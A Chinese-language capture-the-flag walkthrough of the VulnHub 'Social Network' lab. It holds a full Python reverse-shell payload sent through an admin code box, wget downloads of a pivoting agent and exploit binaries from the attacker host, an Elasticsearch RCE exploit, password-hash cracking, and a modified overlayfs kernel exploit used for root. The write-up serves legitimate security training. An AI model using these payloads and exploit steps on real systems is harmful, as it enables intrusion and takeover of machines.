1.靶场搭建
靶场地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
描述
social-network一个新的匿名社交网站,用户可以在其中互相发布消息。该网站使用了docker容器。尝试获得root权限。
难度:中等
涉及的任务:
端口扫描
网络应用攻击
代码注入
旋转
开发
密码破解
蛮力
下载后在virtualbox里导入靶机,这里要注意的是,为了保证我们的攻击机kali能和靶机在同一网段,我们要同时设置这两台机器为host-only或者NAT模式。前者在设置好后,可以互相访问。但是后者没法直接用里面的NAT模式,可能是自带的NAT模式(网络地址转换NAT)没法自动DHCP
所以要自己设置一个NAT
左上角全局设置的网络里
新建一个NatNetwork,配置如下,主要能使用DHCP
至此,靶场环境搭建完成
2.过程
1.主机发现
由于这两台机器是在同一网段,所以直接利用二层地址发现工具
arp-scan -l
出现了四个ip,前三个是kali的ip,最后一个就是靶机的ip
接下来进行全端口的扫描
nmap -p- 10.10.2.4
开放了22和5000两个端口
端口服务版本探测
nmap -p22,5000 -sV 10.0.2.4
22端口就是ssh的服务
5000端口开启了名为Werkzeug的httpd服务,并且操作系统是Ubuntu,使用了Python 2.7.15。Werkzeug是Python的一个Web框架
尝试访问
2.目录爆破
该网站可以通过add message来留下信息
尝试目录爆破
dirsearch -u http://10.0.2.4:5000/
# 结果发现了/admin,直接访问
test code可以用来执行python命令,交给exec()执行
3.反弹shell
输入以下代码反弹shell
# 红框部分大概意思是:创建一个可交互的sh和一个到192.168.118.128的TCP连接,然后将sh的输入输出错误都重定向到在192.168.118.128占用5555端口的进程上
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555));
# 要连接的ip地址和端口
os.dup2(s.fileno(),0);
# os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1);
# fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2);
# 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]);
# subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.5",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
nc -lvnp 4444
# kali监听4444端口
成功反弹了shell,还是一个root权限,看样子已经结束咧
ls
# 当前目录下有dockerfile,看来我们只是拿到了docker,没拿到宿主机,
# 以下是几种确定是否是docker容器的方法
ls /.dockerenv
# 查看初始化进程ID
# 如果进程中包含docker字样,就可以说明这是一个docker容器
cat /proc/1/cgroup
# 最简单的,docker容器的linux系统是"精简版的",少了很多命令,其中就包括ll
# 如果ll不能执行,就可以说明这是一个docker容器
4.内网穿透
既然是在docker容器中,那么要继续渗透就只能从内网从寻找突破口了
ifconfig
当前的ip是172.17.0.2,和之前目标靶机的ip是不一致的,现在我们要做的是扫描该内网网段,看是否存在其他机器
for i in (seq 1 10); do ping -c 1 172.17.0.i; done
# 利用简单的脚本ping一下该网段的其他机器,16位的掩码应该ping(1-65535),这里为了 # 演示只ping10台
结果如下,三台靶机回包了,期中172.17.0.3是本机ip,那就只有172.17.0.1,172.17.0.2
现在我们想对这个内网的ip进行扫描,那就需要进行内网穿透,这样才能让我们的kali可以直接访问内网,这就需要打通路由
需要用到工具
下载地址:https://github.com/Dliv3/Venom/releases/download/v1.1.0/Venom.v1.1.0.7z
使用方法:安全工具 —— Venom 渗透测试人员的多级代理 – 先知社区 (aliyun.com)
# 切换到Venom目录
cd Venom v1.1.0
# 监听端口6666 ./admin_linux_x64 -lport 6666
# 打开另一个终端,继续来到Venom目录,挂载文件到8000端口
cd Venom v1.1.0 python3 -m http.server 8000
# 在目标服务端下载agent_linux_x64
wget http://10.0.2.5/agent_linux_x64
# 赋予执行权限 chmod +x agent_linux_x64
# 连接客户端
$ ./agent_linux_x64 -rhost 10.0.2.5 -rport 6666
这样,kali这台主机就成为我们的代理节点了,在Venom控制台输入以下命令:
(admin node) >>> show
# 切换到第一个节点
(admin node) >>> goto 1
# 启动侦听端口1080
(node 1) >>> socks 1080
代理已经设置好了,现在我们要让kali的工具能通过代理直接访问内网
vi /etc/proxychains4.conf
# 在最下端将socks4 127.0.0.1 9050改为socks5 127.0.0.1 1080
# 至此,我们就可以使用kali对内网进行渗透了
这里需要说一个注意点, proxychains 工具不能代理UDP,ICMP,SYN网络协议,无法进行系统探测,主机发现等等,但是可以用-sT参数并结合-Pn进行 TCP 端口扫描探测。docker 容器所在的内网一共有两台台存活的机器,分别是:172.17.0.2(docker 容器) 、172.17.0.1 ,nmap 扫描探测的相关端口和服务版本如下:
proxychains nmap -Pn -sT 172.17.0.1
恰好和10.0.2.4的靶机ip开放的服务一致
浏览器也可以挂代理访问
配置如下
和之前的页面完全一致
接下来扫描另一个ip
proxychains nmap -p9200 -sV -Pn -sT 172.17.0.2
服务及其版本:Elasticsearch REST API 1.4.2
# 搜索exp
searchsploit Elasticsearch
# 发现有一个RCE的漏洞,复制到当前目录下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py
# 看一下可以发现是python2写的
cat 36337.py
# 尝试跑一下,提示了用法
proxychains python2 36337.py 172.17.0.2
# 得到shell,发现是一个root权限但同时也还是个docker容器
whoami
# root
# 在根目录下可以发现passwords文件
ls /
# 看一下内容,可以发现是几个 用户名:密码哈希
cat password
拿到了用户名及其密码的hash值
放到somd5.com破解一下就行,得到john的密码1337hack,并且也只有这个账号可以登录
5.权限提升
# ssh远程登录
ssh john@10.0.2.4
# 密码:1337hack
sudo -l
# 没法使用root权限
注意到该机器的内核版本比较低
uname -a
# 搜索exp
searchsploit Linux 3.13
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
vi 37292.c
# 通过查看说明部分,发现这是一个C语言源代码文件,运行之前需要使用gcc先编译
exp一般都是本地编译后上传到靶机上(因为靶机上可能没有相关环境,而且权限也受限)。而且这个exp有一个特殊之处,在第143行(vim可以通过:set number开启行号)有这样一段:
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
这一段在exp执行时会调用gcc,但靶机上没有gcc环境,也就无法运行这段exp,因此需要对这段作出修改,将这段需要用到gcc编译库文件的代码删除(这里原本是从目标机器上定位这个文件并编译,我们在本机上找一个编译好放到目标机器上可以起到一样的效果)
修改源码文件,删除原先的第139-147行
修改前
修改后
在kali上编译
gcc -o exp 37292.c
# 接下来我们要找到ofs-lib.so文件
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
python3 -m http.server 80
#接下来下载这两个文件
wget http://10.0.2.5/ofs-lib.so
wget http://10.0.2.5/exp
mv * /tmp
# 移动到tmp目录下
chmod +x exp
# 赋予exp权限
./exp
# 执行
成功拿到root权限
3.参考
Vulnhub靶机系列: BoredHackerBlog-Social Network | Tuzk1